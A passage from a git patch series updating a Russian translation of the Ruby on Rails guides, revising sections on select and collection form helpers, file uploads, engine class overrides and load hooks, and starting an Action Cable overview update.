целесообразнее генерировать их динамически. - -Вот как может выглядеть разметка: - -```html - -``` - -Здесь есть перечень городов, имена которых представлены пользователю. Самому приложению для обработки нужен только их ID, поэтому он используется как атрибут value пункта списка. Давайте посмотрим, как Rails может нам помочь. +Списки выбора в HTML требуют значительного количества разметки - один элемент `OPTION` для каждого пункта списка. Поэтому Rails предоставляет вспомогательные методы для облегчения этого бремени. -### Теги Select и Option - -Наиболее простой хелпер - это `select_tag`, который, как следует из имени, просто сгенерирует тег `SELECT`, инкапсулирующий строку option (пунктов списка): +Например, скажем у нас есть список городов для выбора пользователем. Можно использовать хелпер `select` таким образом: ```erb -<%= select_tag(:city_id, raw('')) %> -``` - -Это закладывает начало, но пока еще динамически не создает теги пунктов списка. Можно сгенерировать теги пунктов с помощью хелпера `options_for_select`: - -```html+erb -<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> +<%= form.select :city, ["Berlin", "Lisbon", "Madrid"] %> ``` Результат: ```html - - - + ``` -Первый аргумент для `options_for_select` - это вложенный массив, в котором каждый элемент содержит два элемента: текст пункта списка (название города) и значение пункта списка (id города). Значение пункта списка - это то, что будет передано в контроллер. Часто бывает, что значение - это id соответствующего объекта базы данных, но это не всегда так. - -Зная это, вы можете комбинировать `select_tag` и `options_for_select` для достижения желаемой полной разметки: +Конечно, можно назначить значения ` - - -``` - -Всякий раз, когда Rails видит, что внутреннее значение сгенерированного пункта списка соответствует этому значению, он добавит атрибут `selected` к этому пункту. - -С помощью хэшей можно добавить произвольные атрибуты в option: - -```html+erb -<%= options_for_select( - [ - ['Lisbon', 1, { 'data-size' => '2.8 million' }], - ['Madrid', 2, { 'data-size' => '3.2 million' }], - ['Berlin', 3, { 'data-size' => '3.4 million' }] - ], 2 -) %> +<%= form.select :city, [["Berlin", "BE"], ["Lisbon", "LX"], ["Madrid", "MD"]] %> ``` Результат: ```html - - - + ``` -### Списки выбора для работы с объектами модели - -В большинстве случаев элементы управления формой будут связаны с определенной моделью, и, как вы, наверное, и ожидали, Rails предоставляет хелперы, предназначенные для этой цели. Как в случае с другими хелперами форм, когда работаете с объектами модели, суффикс `_tag` отбрасывается от `select_tag`: - -Если ваш контроллер определил `@person`, и city_id этого person равен 2: +Таким образом, пользователь увидит полные имена городов, но `params[:city]` будет одним из `"BE"`, `"LX"` или `"MD"`. -```ruby -@person = Person.new(city_id: 2) -``` +Наконец, можно указать выбор по умолчанию для списка выбора с помощью аргумента `:selected`: ```erb -+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> +<%= form.select :city, [["Berlin", "BE"], ["Lisbon", "LX"], ["Madrid", "MD"]], selected: "LX" %> ``` -Создаст результат, подобный следующему +Результат: ```html - + + + ``` -Отметьте, что третий параметр - массив пунктов списка - имеет тот же самый тип аргумента, что мы передавали в `options_for_select`. Одно из преимуществ заключается в том, что не стоит беспокоиться об предварительном выборе правильного города, если пользователь уже выбрал его - Rails сделает это за вас, прочитав из атрибута `@person.city_id`. +### Списки выбора и объекты модели -Как и в других хелперах, если хотите использовать хелпер `select` в form builder с областью видимостью объекта `@person`, синтаксис будет такой: +Подобно другим элементам формы, список выбора может быть связан с атрибутом модели. Например, если имеется такой объект модели `@person`: -```erb -<%= form_with model: @person do |person_form| %> - <%= person_form.select(:city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %> -<% end %> +```ruby +@person = Person.new(city: "MD") ``` -В хелпер `select` также можно передать блок: +Следующая форма: ```erb -<%= form_with model: @person do |person_form| %> - <%= person_form.select(:city_id) do %> - <% [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]].each do |c| %> - <%= content_tag(:option, c.first, value: c.last) %> - <% end %> - <% end %> +<%= form_with model: @person do |form| %> + <%= form.select :city, [["Berlin", "BE"], ["Lisbon", "LX"], ["Madrid", "MD"]] %> <% end %> ``` -WARNING: При использовании `select`, или подобных хелперов, чтобы установить связь `belongs_to`, необходимо передать имя внешнего ключа (в примере выше `city_id`), а не само имя связи. +Выведет подобный список выбора: -WARNING: Когда отсутствует `:include_blank` или `:prompt`, `:include_blank` принудительно становится true, если атрибут `required` - true, отображаемый `size` - 1 и `multiple` не равен true. - -### Теги пункта списка из коллекции произвольных объектов - -Генерация тегов пунктов списка с помощью `options_for_select` требует, чтобы был создан массив, содержащий текст и значение для каждого пункта. Но что, если есть модель `City` (вероятно даже модель Active Record) и нужно сгенерировать теги пунктов списка из коллекции этих объектов? Одним из решений будет сделать вложенный массив с помощью итераций по ним: - -```erb -<% cities_array = City.all.map { |city| [city.name, city.id] } %> -<%= options_for_select(cities_array) %> -``` - -Хотя это и валидное решение, но Rails предоставляет менее сложную альтернативу: `options_from_collection_for_select`. Этот хелпер принимает коллекцию произвольных объектов и два дополнительных аргумента: имена методов для считывания значений **value** и **text** пункта списка, соответственно: - -```erb -<%= options_from_collection_for_select(City.all, :id, :name) %> -``` - -Как следует из имени хелпера, это генерирует только теги пункта списка. Для генерации работающего списка выбора, необходимо использовать `collection_select`. - -```erb -<%= collection_select(:person, :city_id, City.all, :id, :name) %> -``` - -Как и с другими хелперами, если нужно использовать хелпер `collection_select` в связке с form builder, привязанным к объекту `@person`, синтаксис будет следующим: - -```erb -<%= form_with model: @person do |person_form| %> - <%= person_form.collection_select(:city_id, City.all, :id, :name) %> +```html + <% end %> ``` -NOTE: Пары, переданные в `options_for_select` должны сперва иметь текст, затем значение, однако для `options_from_collection_for_select` первый аргумент - это метод для значения, а второй аргумент - метод для текста. +Отметьте, что подходящая опция была автоматически отмечена `selected="selected"`. Так как этот список выбора был привязан к модели, не нужно указывать аргумент `:selected`! ### Выбор часового пояса и страны -Для управления поддержкой часовых поясов в Rails, можно спрашивать своих пользователей, в какой зоне они находятся. Это потребует сгенерировать пункты списка из списка предопределенных объектов [`ActiveSupport::TimeZone`](http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html), используя `collection_select`, но можно просто использовать хелпер `time_zone_select`, который уже все это содержит: +Для управления поддержкой часовых поясов в Rails, можно спрашивать своих пользователей, в какой зоне они находятся. Это потребует сгенерировать пункты списка из списка предопределенных объектов [`ActiveSupport::TimeZone`](https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html), но можно просто использовать хелпер `time_zone_select`, который уже все это содержит: ```erb <%= time_zone_select(:person, :time_zone) %> ``` -Также есть хелпер `time_zone_options_for_select` для ручного (и поэтому гибко настраиваемого) способа осуществления этого. Читайте [документацию по API](http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select), чтобы узнать о доступных аргументах для этих двух методов. +Также есть хелпер `time_zone_options_for_select` для ручного (и поэтому гибко настраиваемого) способа осуществления этого. Читайте [документацию по API](https://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select), чтобы узнать о доступных аргументах для этих двух методов. В Rails _раньше_ был хелпер `country_select` для выбора стран, но сейчас он вынесен во внешний [плагин country_select](https://github.com/stefanpenner/country_select). Использование хелперов даты и времени ------------------------------------- -Можно не использовать хелперы форм, генерирующие поля ввода даты и времени HTML5, а использовать альтернативные хелперы даты и времени. Эти хелперы даты и времени отличаются от остальных хелперов форм в двух важных аспектах: - -* Дата и время не представлены отдельным элементом ввода. Вместо них есть несколько, один на каждый компонент (год, месяц, день и т.д.), и поэтому нет одного значения в хэше `params` с вашими датой и временем. -* Другие хелперы используют суффикс `_tag` для обозначения, является ли хелпер скелетным, либо работает на основе объектов модели. Что касается дат и времени, `select_date`, `select_time` и `select_datetime` - это скелетные хелперы, а `date_select`, `time_select` и `datetime_select` - это эквивалентные хелперы объекта модели. - -Оба эти семейства хелперов создадут ряд списков выбора для различных компонентов (год, месяц, день и т.д.). +Если не хотите использовать поля ввода даты и времени HTML5, Rails предоставляет альтернативные хелперы формы для даты и времени, выводящие обычные списки выбора. С помощью этих хелперов выводится список выбора на каждый компонент (год, месяц, день и т.д.), и поэтому нет одного значения в хэше `params` с вашими датой и временем. ### Скелетные хелперы @@ -579,7 +470,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa ### Общие опции -Оба семейства хелперов используют одинаковый базовый набор функций для генерации индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails сгенерирует пункты списка года как текущий год плюс/минус пять лет. Если это неподходящий интервал, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). +Оба семейства хелперов используют одинаковый базовый набор функций для генерации индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails сгенерирует пункты списка года как текущий год плюс/минус пять лет. Если это неподходящий интервал, опции `:start_year` и `:end_year` переопределяют это. Для полного списка доступных опции обратитесь к [документации по API](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, например, таких как форма поиска, которая фильтрует результаты по дате. @@ -596,28 +487,104 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa создадут одинаковый результат, и значение, выбранное пользователем, может быть получено как `params[:date][:year]`. +Выбор из коллекции произвольных объектов +---------------------------------------- + +Часто нам нужно создать набор вариантов в форме из коллекции объектов. Например, когда мы хотим, чтобы пользователь выбрал город из нашей базы данных, и у нас есть такая модель `City`: + +```ruby +City.order(:name).to_a +# => [ +# #, +# #, +# # +# ] +``` + +Rails предоставляет хелперы для создания вариантов из коллекции без ее явного перебора. Эти хелперы определяют значение и текстовую надпись для каждого варианта, вызывая определенные методы на каждом объекте коллекции. + +### Хелпер `collection_select` + +Чтобы создать список выбора для наших городов, можно использовать [`collection_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_select): + +```erb +<%= form.collection_select :city_id, City.order(:name), :id, :name %> +``` + +Выведет: + +```html + +``` + +NOTE: С помощью `collection_select` мы определяем сначала метод значения (`:id` в вышеуказанном примере), а затем метод текстовой надписи (`:name` в вышеуказанном примере). Это отличается от порядка, используемого при указании вариантов для хелпера `select`, когда сначала идет текстовая надпись, а потом значение. + +### Хелпер `collection_radio_buttons` + +Чтобы создать набор радиокнопок для наших городов, можно использовать [`collection_radio_buttons`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_radio_buttons): + +```erb +<%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %> +``` + +Выведет: + +```html + + + + + + +``` + +### Хелпер `collection_check_boxes` + +Чтобы создать набор чекбоксов для наших городов (который позволяет выбрать более одного), можно использовать [`collection_check_boxes`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_check_boxes): + +```erb +<%= form.collection_check_boxes :city_id, City.order(:name), :id, :name %> +``` + +Выведет: + +```html + + + + + + +``` + Загрузка файлов --------------- -Частой задачей является загрузка некоторого файла, аватарки или файла CSV, содержащего информацию для обработки. Самое важное, это помнить при загрузке файла, что атрибут enctype формы *должен* быть установлен как "multipart/form-data". Если используете `form_with` с `:model`, это будет выполнено автоматически. Если используете `form_with` без `:model`, нужно установить это самому, как в следующем примере. - -Следующие две формы обе загружают файл. +Частой задачей является загрузка некоторого файла, аватарки или файла CSV, содержащего информацию для обработки. Самое важное, это помнить при загрузке файла, что атрибут enctype формы *должен* быть установлен как "multipart/form-data". Если используете `form_with` с `:model`, это будет выполнено автоматически. ```erb -<%= form_with(url: {action: :upload}, multipart: true) do %> - <%= file_field_tag 'picture' %> +<%= form_with model: @person do |form| %> + <%= form.file_field :picture %> <% end %> +``` + +Если используете `form_with` без `:model`, нужно установить это самому: -<%= form_with model: @person do |f| %> - <%= f.file_field :picture %> +```erb +<%= form_with url: "/uploads", multipart: true do |form| %> + <%= form.file_field :picture %> <% end %> ``` -Rails предоставляет обычную пару хелперов: скелетный `file_field_tag` и модельно-ориентированный `file_field`. Как и следует ожидать, в первом случае загруженный файл находится в `params[:picture]`, а во втором случае - в `params[:person][:picture]`. +Отметьте, что в соответствии с соглашениями `form_with`, имена поля в вышеуказанных формах также будут отличаться. То есть, именем поля в первой форме будет `person[picture]` (доступное как `params[:person][:picture]`), а именем поля во второй форме будет просто `picture` (доступное как `params[:picture]`). ### Что имеем загруженным -Объект в хэше `params` - это экземпляр [`ActionDispatch::Http::UploadedFile`](http://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). Следующий образец кода сохраняет загруженное содержимое в `#{Rails.root}/public/uploads` под тем же именем, что и исходный файл. +Объект в хэше `params` - это экземпляр [`ActionDispatch::Http::UploadedFile`](https://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). Следующий образец кода сохраняет загруженное содержимое в `#{Rails.root}/public/uploads` под тем же именем, что и исходный файл. ```ruby def upload @@ -633,19 +600,19 @@ end Настройка Form Builder ---------------------- -Объект, который передается от `form_with` и `fields_for`, - это экземпляр [`ActionView::Helpers::FormBuilder`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, так же как можно объявить подкласс `ActionView::Helpers::FormBuilder` и добавить хелперы туда. Например: +Объект, который передается от `form_with` и `fields_for`, - это экземпляр [`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, так же как можно объявить подкласс `ActionView::Helpers::FormBuilder` и добавить хелперы туда. Например: ```erb -<%= form_with model: @person do |f| %> - <%= text_field_with_label f, :first_name %> +<%= form_with model: @person do |form| %> + <%= text_field_with_label form, :first_name %> <% end %> ``` может быть заменено этим ```erb -<%= form_with model: @person, builder: LabellingFormBuilder do |f| %> - <%= f.text_field :first_name %> +<%= form_with model: @person, builder: LabellingFormBuilder do |form| %> + <%= form.text_field :first_name %> <% end %> ``` @@ -711,7 +678,7 @@ Form builder также определяет, что произойдет, ес {'person' => {'address' => {'city' => 'New York'}}} ``` -Обычно Rails игнорирует дублирующиеся имена параметра. Если имя параметра содержит пустой набор квадратных скобок `[]`, то они будут накоплены в массиве. Если нужно, чтобы пользователи могли оставить несколько телефонных номеров, можно поместить это в форму: +Обычно Rails игнорирует дублирующиеся имена параметра. Если имя параметра заканчивается пустым набором квадратных скобок `[]`, то они будут накоплены в массиве. Если нужно, чтобы пользователи могли оставить несколько телефонных номеров, можно поместить это в форму: ```html @@ -740,11 +707,9 @@ Form builder также определяет, что произойдет, ес WARNING: Параметры массива не очень хорошо работают с хелпером `check_box`. В соответствии со спецификацией HTML, невыбранные чекбоксы не возвращают значения. Хелпер `check_box` обходит это, создавая вспомогательное скрытое поле с тем же именем. Если чекбокс не нажат, подтверждается только скрытое поле, а если он нажат, то они оба подтверждаются, но значение от чекбокса получает приоритет. -### Использование хелперов форм - -Предыдущие разделы совсем не использовали хелперы Rails. Хотя можно создавать имена полей ввода самому и передавать их напрямую хелперам, таким как `text_field_tag`, Rails также предоставляет поддержку на более высоком уровне. В вашем распоряжении имеются два инструмента: параметр имени для `form_with` и `fields_for`, и опция `:index`, принимаемая этими хелперами. +### Хелпер `fields_for` -Вы возможно захотите рендерить форму с набором полей ввода для каждого адреса человека. Например: +Скажем, нам нужно рендерить форму с набором полей ввода для каждого адреса человека. С этим может помочь хелпер `fields_for` и его аргумент `:index`: ```erb <%= form_with model: @person do |person_form| %> @@ -849,10 +814,10 @@ end Следующая форма позволяет пользователю создать `Person` и связанные с ним адреса. ```html+erb -<%= form_with model: @person do |f| %> +<%= form_with model: @person do |form| %> Addresses:
    ``` -Затем необходимо обновить метод `Blorgh::ArticleController#article_params` для разрешения параметров новой формы: +Затем необходимо обновить метод `Blorgh::ArticlesController#article_params` для разрешения параметров новой формы: ```ruby def article_params @@ -573,7 +569,7 @@ private Для создания этого нового столбца запустите команду внутри engine: ```bash -$ rails g migration add_author_id_to_blorgh_articles author_id:integer +$ bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer ``` NOTE: Благодаря имени миграции и определению столбца после него, Rails автоматически узнает, что вы хотите добавить столбец в определенную таблицу и запишет это в миграцию. Вам не нужно больше ничего делать. @@ -581,7 +577,7 @@ NOTE: Благодаря имени миграции и определению Нужно запустить эту миграцию в приложении. Для этого, сперва ее нужно скопировать с помощью команды: ```bash -$ rails blorgh:install:migrations +$ bin/rails blorgh:install:migrations ``` Отметьте, что сейчас будет скопирована только _одна_ миграция. Это так, потому что первые две миграции уже были скопированы при первом вызове этой команды. @@ -595,7 +591,7 @@ Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blo Запустите эту миграцию с помощью: ```bash -$ rails db:migrate +$ bin/rails db:migrate ``` Теперь, когда все на месте, в дальнейшем будет происходить связывание автора - представленного записью в таблице `users` - со статьей, представленной таблицей `blorgh_articles` из engine. @@ -714,7 +710,7 @@ module Blorgh def test_index get foos_url - ... + # ... end end end @@ -733,7 +729,7 @@ module Blorgh def test_index get foos_url - ... + # ... end end end @@ -750,79 +746,79 @@ end ### Переопределение моделей и контроллеров -Классы модели и контроллера engine могут быть расширены открытым изменением в основном приложении Rails (так как классы модели и контроллера являются всего лишь классами Ruby, наследующими специфичную функциональность Rails). Открытое изменение класса Engine переопределяет его для использования в основном приложении. - -Для простых модификаций класса используйте `Class#class_eval`, а для сложных - рассмотрите использование `ActiveSupport::Concern`. +Модели и контроллеры engine могут быть переоткрыты в родительском приложении, чтобы их расширить или декорировать. -#### Заметка о переопределении и загрузке кода +Переопределения могут быть организованы в выделенной директории `app/overrides`, которая предварительно загружается в колбэке `to_prepare`. -Поскольку на эти переопределения не ссылается само приложение Rails, система автозагрузки Rails не сработает и не загрузит ваши переопределения. Это означает, что их необходимо затребовать самостоятельно. - -Вот простой пример, как это сделать: +В режиме `zeitwerk` надо сделать так: ```ruby -# lib/blorgh/engine.rb -module Blorgh - class Engine < ::Rails::Engine - isolate_namespace Blorgh +# config/application.rb +module MyApp + class Application < Rails::Application + # ... + overrides = "#{Rails.root}/app/overrides" + Rails.autoloaders.main.ignore(overrides) config.to_prepare do - Dir.glob(Rails.root + "app/overrides/**/*_override*.rb").each do |c| - require_dependency(c) + Dir.glob("#{overrides}/**/*_override.rb").each do |override| + load override end end end end ``` -Это применимо не только к переопределениям, а вообще ко всему, что добавляется в engine, и на что не ссылается основное приложение. - -#### Изменение существующих классов с использованием Class#class_eval - -**Добавление** `Article#time_since_created`: +а в режиме `classic` так ```ruby -# MyApp/app/overrides/models/blorgh/article_override.rb +# config/application.rb +module MyApp + class Application < Rails::Application + # ... -Blorgh::Article.class_eval do - def time_since_created - Time.current - created_at + config.to_prepare do + Dir.glob("#{Rails.root}/app/overrides/**/*_override.rb").each do |override| + require_dependency override + end + end end end ``` +#### Переоткрытие существующих классов с использованием `class_eval` + +Например, чтобы переопределить модель engine + ```ruby # Blorgh/app/models/blorgh/article.rb module Blorgh class Article < ApplicationRecord has_many :comments + + def summary + "#{title}" + end end end ``` -**Переопределение** `Article#summary`: +нужно всего лишь создать файл, _переоткрывающий_ этот класс: ```ruby # MyApp/app/overrides/models/blorgh/article_override.rb - Blorgh::Article.class_eval do + def time_since_created + Time.current - created_at + end + def summary "#{title} - #{truncate(text)}" end end ``` -```ruby -# Blorgh/app/models/blorgh/article.rb -module Blorgh - class Article < ApplicationRecord - has_many :comments - def summary - "#{title}" - end - end -end -``` +Очень важно, что переопределение переоткрывает этот класс или модуль. Использование ключевых слов `class` или `module` определили бы их, если они еще не существуют в памяти, что было бы неправильным, так как определение находится в engine. Использование `class_eval`, как показано выше, гарантирует, что вы переоткрываете. #### Изменение существующих классов с использованием ActiveSupport::Concern @@ -952,7 +948,7 @@ end Подобно остальным компонентам engine, ресурсы также будут помещены в пространство имен. Это означает, что если имеется ресурс по имени `style.css`, он должен быть помещен в `app/assets/stylesheets/[engine name]/style.css`, а не в `app/assets/stylesheets/style.css`. Если этот ресурс не будет помещен в пространство имен, то есть вероятность, что в приложении есть идентично названный ресурс, в этом случае ресурс приложения будет иметь преимущество, а ресурс в engine будет проигнорирован. -Представим, что у вас есть ресурс `app/assets/stylesheets/blorgh/style.css` Чтобы включить его в приложение, используйте `stylesheet_link_tag` и сошлитесь на ресурс так, как он находится в engine: +Представим, что у вас есть ресурс `app/assets/stylesheets/blorgh/style.css`. Чтобы включить его в приложение, используйте `stylesheet_link_tag` и сошлитесь на ресурс так, как он находится в engine: ```erb <%= stylesheet_link_tag "blorgh/style.css" %> @@ -960,10 +956,10 @@ end Также можно определить эти ресурсы как зависимости для других ресурсов, используя выражения Asset Pipeline в обрабатываемых файлах: -``` +```css /* *= require blorgh/style -*/ + */ ``` INFO. Помните, что для использования языков, таких как Sass или CoffeeScript, следует подключить соответствующую библиотеку в `.gemspec` вашего engine. @@ -971,7 +967,7 @@ INFO. Помните, что для использования языков, т ### Отдельные ресурсы и прекомпиляция Бывают ситуации, когда ресурсы engine не требуются приложению. Например, скажем, вы создали административную функциональность, существующую только для engine. В этом случае приложению не нужно требовать `admin.css` или `admin.js`. Только административному макету гема необходимы эти ресурсы. Нет смысла, чтобы приложение включало `"blorg/admin.css"` в свои таблицы стилей. В такой ситуации следует явно определить эти ресурсы для прекомпиляции. -Это сообщит Sprockets добавить ресурсы engine при вызове `rails assets:precompile`. +Это сообщит Sprockets добавить ресурсы engine при вызове `bin/rails assets:precompile`. Ресурсы для прекомпиляции можно определить в `engine.rb` @@ -1004,8 +1000,8 @@ s.add_development_dependency "moo" Отметьте, что если вы захотите немедленно затребовать зависимости при затребовании engine, следует их затребовать до инициализации engine. Например: ```ruby -require 'other_engine/engine' -require 'yet_another_engine/engine' +require "other_engine/engine" +require "yet_another_engine/engine" module MyEngine class Engine < ::Rails::Engine @@ -1013,16 +1009,14 @@ module MyEngine end ``` -Хуки для загрузки Active Support +Хуки загрузки и конфигурации ---------------------------- -Active Support - это компонент Ruby on Rails, отвечающий за предоставление расширений для языка Ruby, утилит и множества других вещей. - При загрузке приложения часто может быть ссылка на код Rails. Rails отвечает за порядок загрузки этих фреймворков, поэтому когда вы загружаете фреймворки, такие как `ActiveRecord::Base`, преждевременно вы нарушаете неявный контракт, который ваше приложение имеет с Rails. Более того, загружая код, такой как `ActiveRecord::Base` при запуске вашего приложения, вы загружаете целые фреймворки, которые могут замедлять время запуска и могут привести к конфликтам с порядком загрузки и запуском вашего приложения. -Хуки для загрузки - это API, который позволяет вам подключиться к этому процессу инициализации без нарушения контракта загрузки с помощью Rails. Это также позволит уменьшить снижение производительности запуска и избежать конфликтов. +Хуки загрузки и конфигурации - это API, который позволяет вам подключиться к этому процессу инициализации без нарушения контракта загрузки с помощью Rails. Это также позволит уменьшить снижение производительности запуска и избежать конфликтов. -## Что делает `on_load` хук? +### Избегайте загрузки фреймворков Rails Поскольку Ruby является динамическим языком, некоторый код будет вызывать различные фреймворки Rails для загрузки. Возьмем этот фрагмент, например: @@ -1035,20 +1029,22 @@ ActiveRecord::Base.include(MyActiveRecordHelper) `ActiveSupport.on_load` - это механизм, который может быть использован для того, чтобы отложить загрузку кода до тех пор, пока он действительно не понадобится. Вышеуказанный фрагмент можно изменить на: ```ruby -ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } +ActiveSupport.on_load(:active_record) do + include MyActiveRecordHelper +end ``` Этот новый фрагмент будет включать `MyActiveRecordHelper`, только когда загружается `ActiveRecord::Base`. -## Как это работает? +### Когда вызываются хуки В фреймворке Rails эти хуки вызываются, когда загружается конкретная библиотека. Например, когда загружается `ActionController::Base`, вызывается хук `:action_controller_base`. Это означает, что все вызовы `ActiveSupport.on_load` с помощью `:action_controller_base` хуков будут вызываться в контексте `ActionController::Base` (это значит, что `self` будет `ActionController::Base`). -## Модифицирование кода для использования `on_load` хуков +## Модифицирование кода для использования хуков загрузки -Модифицирование кода, как правило, достаточно простое. Если есть строчка кода, которая ссылается на фреймворк Rails, такой как `ActiveRecord::Base`, можно обернуть этот код в хук `on_load`. +Модифицирование кода, как правило, достаточно простое. Если есть строчка кода, которая ссылается на фреймворк Rails, такой как `ActiveRecord::Base`, можно обернуть этот код в хук загрузки. -### Пример 1 +**Изменение вызовов `include`** ```ruby ActiveRecord::Base.include(MyActiveRecordHelper) @@ -1057,10 +1053,14 @@ ActiveRecord::Base.include(MyActiveRecordHelper) станет ```ruby -ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } # self ссылается здесь на ActiveRecord::Base, поэтому мы можем использовать просто #include +ActiveSupport.on_load(:active_record) do + # self ссылается здесь на ActiveRecord::Base, + # поэтому мы можем вызывать .include + include MyActiveRecordHelper +end ``` -### Пример 2 +**Изменение вызовов `prepend`** ```ruby ActionController::Base.prepend(MyActionControllerHelper) @@ -1069,10 +1069,14 @@ ActionController::Base.prepend(MyActionControllerHelper) станет ```ruby -ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper } # self ссылается здесь на ActionController::Base, поэтому мы можем использовать просто #prepend +ActiveSupport.on_load(:action_controller_base) do + # self ссылается здесь на ActionController::Base, + # поэтому мы можем вызывать .prepend + prepend MyActionControllerHelper +end ``` -### Пример 3 +**Изменение вызовов методов класса** ```ruby ActiveRecord::Base.include_root_in_json = true @@ -1081,16 +1085,17 @@ ActiveRecord::Base.include_root_in_json = true станет ```ruby -ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # self ссылается здесь на ActiveRecord::Base +ActiveSupport.on_load(:active_record) do + # self ссылается здесь на ActiveRecord::Base + self.include_root_in_json = true +end ``` -## Доступные хуки +### Доступные хуки загрузки -Это хуки, которые можно использовать в своем коде. +Это хуки загрузки, которые можно использовать в своем коде. Чтобы подключиться к процессу инициализации одного из следующих классов, используйте соответствующий ему доступный хук. -Чтобы подключиться к процессу инициализации одного из следующих классов, используйте соответствующий ему доступный хук. - -| Класс | Доступные хуки | +| Класс | Хук | | -------------------------------------| ------------------------------------ | | `ActionCable` | `action_cable` | | `ActionCable::Channel::Base` | `action_cable_channel` | @@ -1102,13 +1107,17 @@ ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # sel | `ActionController::Base` | `action_controller` | | `ActionController::TestCase` | `action_controller_test_case` | | `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test` | +| `ActionDispatch::Response` | `action_dispatch_response` | +| `ActionDispatch::Request` | `action_dispatch_request` | | `ActionDispatch::SystemTestCase` | `action_dispatch_system_test_case` | | `ActionMailbox::Base` | `action_mailbox` | | `ActionMailbox::InboundEmail` | `action_mailbox_inbound_email` | +| `ActionMailbox::Record` | `action_mailbox_record` | | `ActionMailbox::TestCase` | `action_mailbox_test_case` | | `ActionMailer::Base` | `action_mailer` | | `ActionMailer::TestCase` | `action_mailer_test_case` | | `ActionText::Content` | `action_text_content` | +| `ActionText::Record` | `action_text_record` | | `ActionText::RichText` | `action_text_rich_text` | | `ActionView::Base` | `action_view` | | `ActionView::TestCase` | `action_view_test_case` | @@ -1117,12 +1126,13 @@ ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # sel | `ActiveRecord::Base` | `active_record` | | `ActiveStorage::Attachment` | `active_storage_attachment` | | `ActiveStorage::Blob` | `active_storage_blob` | +| `ActiveStorage::Record` | `active_storage_record` | | `ActiveSupport::TestCase` | `active_support_test_case` | | `i18n` | `i18n` | -## Хуки для настройки +### Доступные хуки настройки -Это доступные хуки для настройки. Они не подключаются к какому-либо конкретному фреймворку, вместо этого они запускаются в контексте всего приложения. +Хуки настройки не подключаются к какому-либо конкретному фреймворку, вместо этого они запускаются в контексте всего приложения. | Хук | Случаи применения | | ---------------------- | --------------------------------------------------------------------------------------------------------------- | @@ -1131,8 +1141,14 @@ ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # sel | `before_eager_load` | Третий настраиваемый блок для запуска. Не запускается, если для `config.eager_load` установлено значение false. | | `after_initialize` | Последний настраиваемый блок для запуска. Вызывается после инициализации фреймворков. | -### Пример +Хуки настройки могут вызываться в классе Engine. ```ruby -config.before_configuration { puts 'I am called before any initializers' } +module Blorgh + class Engine < ::Rails::Engine + config.before_configuration do + puts 'I am called before any initializers' + end + end +end ``` diff --git a/source/index.yml b/source/index.yml index a14e5934..0c2ea23c 100644 --- a/source/index.yml +++ b/source/index.yml @@ -201,8 +201,8 @@ pages: - title: Engine для начинающих path: engines file: engines.md - revision: 206cee578a915fe5199bac2a83c99f828bd77132 - date: 22/05/2019 + revision: cb0da4f817eee35089c1f12a4fa46a765611181f + date: 22/12/2020 - title: Процесс инициализации в Rails path: initialization From 8cb7353b1aafa8b45057f6957e7d089e8ffcc8b8 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Mon, 15 Feb 2021 22:43:11 +0300 Subject: [PATCH 547/932] Update cable guide --- source/action_cable_overview.md | 156 ++++++++++++++++++++++++-------- source/index.yml | 4 +- 2 files changed, 118 insertions(+), 42 deletions(-) diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index 798cef80..62b904e1 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -12,8 +12,8 @@ -------------------------------------------------------------------------------- -Введение --------- +Что такое Action Cable? +----------------------- Action Cable с легкостью интегрирует [WebSockets](https://ru.wikipedia.org/wiki/WebSocket) с остальными частями приложения Rails. Он позволяет писать функциональность реального времени на Ruby в стиле и формате остальной части приложения Rails, в то же время являясь производительным и масштабируемым. Он представляет полный стек, включая клиентский фреймворк на JavaScript и серверный фреймворк на Ruby. Вы получаете доступ к моделям предметной области, написанным с помощью Active Record или другой ORM на выбор. @@ -21,29 +21,42 @@ Action Cable с легкостью интегрирует 